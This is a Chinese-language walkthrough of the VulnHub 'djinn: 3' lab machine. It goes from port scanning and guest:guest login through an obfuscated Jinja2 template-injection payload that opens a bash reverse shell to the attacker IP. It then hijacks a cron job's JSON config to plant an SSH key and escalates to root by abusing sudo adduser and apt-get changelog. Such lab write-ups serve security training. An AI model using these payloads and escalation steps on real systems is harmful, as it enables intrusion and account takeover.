djinn: 3
来自 <https://www.vulnhub.com/entry/djinn-3,492/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.243
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.243
4,访问80端口的http服务看看
扫描网站存在的子目录
dirsearch -u http://192.168.23.243 -x 403,404
没什么用
5,访问5000端口看看
这是一个任务或问题跟踪列表,常见于项目管理工具(如Jira、GitHub Issues等)。并且提到了一个默认用户guest
6,再访问31337端口看看,账户密码均为guest
- 网络连接行为
nc 192.168.23.243 31337 # 通过netcat连接目标IP的31337端口
username> guest # 使用默认用户guest登录
password> guest # 使用默认密码guest登录成功
- 31337端口:非常见端口,可能为自定义服务(如隐藏的管理接口或漏洞利用点)。
- 默认凭证:guest:guest 未移除(对应任务列表中的 #4567 未完成)。
- 系统特征
- 自称是「开发中的票务系统」,提示报告问题至 mail@mzfr.me。
- 支持命令行交互(help 查看命令列表)。
- 5000端口关联
- 5000端口通常用于开发环境(如Flask/Django调试模式、Docker注册表)。
- 结合31337端口的未授权访问,可能形成 横向渗透路径:
- 通过31337端口获取初始权限 → 探测内网5000端口的服务 → 进一步利用漏洞。
攻击面分析:开发环境暴露
- 5000端口服务推测:
- 运行未授权API(如Swagger UI、GraphQL)。
- 调试模式开启的Web框架(如Flask debug=True,可能触发RCE)。
- 利用链示例:
# 通过31337端口获取shell后,探测本地服务
curl http://localhost:5000/management # 尝试访问管理接口
help看看可以使用的命令
CLI功能与潜在攻击面分析
1. 可用命令解析
- help:显示菜单,无直接风险。
- update:更新票务软件(高危操作,可能触发远程代码执行或文件覆盖)。
- open:创建新工单(可能涉及用户输入注入漏洞)。
- close:关闭工单(需ID参数,可能存在逻辑漏洞)。
- exit:退出系统。
2. 初步安全测试方向
- 命令参数注入(如open或close的参数是否未过滤)。
- update命令的更新源验证(是否允许任意URL下载或本地路径劫持)。
- 会话持久化漏洞(如通过工单内容注入恶意代码触发后端解析)。
7,对5000端口的服务进行指纹识别扫描
技术指纹分析
1. 服务框架
- Werkzeug/1.0.1:Python WSGI工具库(常用于Flask开发服务器)。
- Python 3.6.9:较旧版本(2019年发布),存在潜在漏洞(如CVE-2021-3177)。
- Bootstrap:前端框架(版本未知,需进一步探测)。
2. 关键特征
- 无标题页面:可能为未完成的后台接口或调试入口。
- Server头部泄露:明确暴露技术栈(攻击者可针对性利用)。
3. 服务推测
- 运行 Flask开发服务器(默认端口5000 + Werkzeug组合)。
- 可能处于 调试模式(若开启debug=True,存在RCE风险)。
搜索网站技术栈存在的公开exp
searchsploit Werkzeug
下载来看看怎么使用
searchsploit 43905.py -m
漏洞利用没有成功,可能需要手动测试(在31337端口上)
8,这里反弹shell选择bash进行反弹,然后修改payload,在终端上新建票据
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("/bin/bash -c 'bash -i >& /dev/tcp/192.168.23.182/4444 0>&1'")|attr("read")()}}
然后在访问5000端口开放的http服务,刷新一下出现新的链接进行点击
与此同时kali打开对4444监听
nc -lvvp 4444
成功getshell
9,然后信息收集一下
uname -a
lsb_release -a
发现存在其他用户
发现几个属于有saint用户的文件
讲文件都下载到本地分析
cp /opt/.configuration.cpython-38.pyc /tmp
cp /opt/.syncer.cpython-38.pyc /tmp
cd /tmp
python3 -m http.server 8080
wget http://192.168.23.243:8080/.configuration.cpython-38.pyc
wget http://192.168.23.243:8080/.syncer.cpython-38.pyc
然后拖到浏览器里面进行在线反编译
syncer.cpython-38.py
# Visit 在线Python pyc文件编译与反编译 for more information # Version : Python 3.8 import os import sys import json from glob import glob from datetime import datetime as dt class ConfigReader: config = None
def read_config(path): '''Reads the config file ''' config_values = { } # WARNING: Decompyle incomplete read_config = staticmethod(read_config)
def set_config_path(): '''Set the config path ''' files = glob('/home/saint/*.json') other_files = glob('/tmp/*.json') files = files + other_files
try: if len(files) > 2: files = files[:2] file1 = os.path.basename(files[0]).split('.') file2 = os.path.basename(files[1]).split('.') if file1[-2] == 'config' and file2[-2] == 'config': a = dt.strptime(file1[0], '%d-%m-%Y') b = dt.strptime(file2[0], '%d-%m-%Y') if b < a: filename = files[0] else: filename = files[1] finally: pass except Exception: sys.exit(1)
return filename set_config_path = staticmethod(set_config_path) |
configuration.cpython-38.py
# Visit 在线Python pyc文件编译与反编译 for more information # Version : Python 3.8 from configuration import * from connectors.ftpconn import * from connectors.sshconn import * from connectors.utils import * def main(): '''Main function Cron job is going to make my work easy peasy ''' configPath = ConfigReader.set_config_path() config = ConfigReader.read_config(configPath) connections = checker(config) if 'FTP' in connections: ftpcon(config['FTP']) elif 'SSH' in connections: sshcon(config['SSH']) elif 'URL' in connections: sync(config['URL'], config['Output']) if __name__ == '__main__': main() |
10,根据这两个python程序的源码,在/tmp下新建一个文件,文件名字为29-06-2020.config.json,内容如下,本地服务器的authorized_keys文件的内容是使用ssh-keygen生成的id_rsa.pub文件内容
cat > /tmp/29-06-2020.config.json << 'EOF' { "URL": "http://192.168.23.182/authorized_keys", "Output": "/home/saint/.ssh/authorized_keys" } EOF |
所以前提条件是还需要生成kali的公钥authorized_keys
ssh-keygen
ls -la .ssh
cp .ssh/id_ed25519.pub authorized_keys
然后python开启一个http服务
python -m http.server 80
应该是公钥注入成功了ssh登录尝试一下
ssh saint@192.168.23.243
登录成功,巧妙的公钥注入!
11,信息收集,看看怎么提权
创造出来一个假root用户,跟root同属一个用户组
sudo /usr/sbin/adduser -gid 0 r00t
因为是假用户使用没有真root权限
查看sudoers文件还有哪些用户可以使用sudo执行命令
发现一个jason用户,但是这个用户并不存在,但是我们是可以新建这个用户,盗用它的sudo操作
exit
sudo /usr/sbin/adduser -gid 0 jason
12,因为jason用户允许在密码验证后使用sudo命令以root权限执行apt-get命令,而密码是我设置的。由此查看提权操作
sudo apt-get changelog apt
在终端输入
!/bin/sh
最后成功get flag
sh /root/proof.sh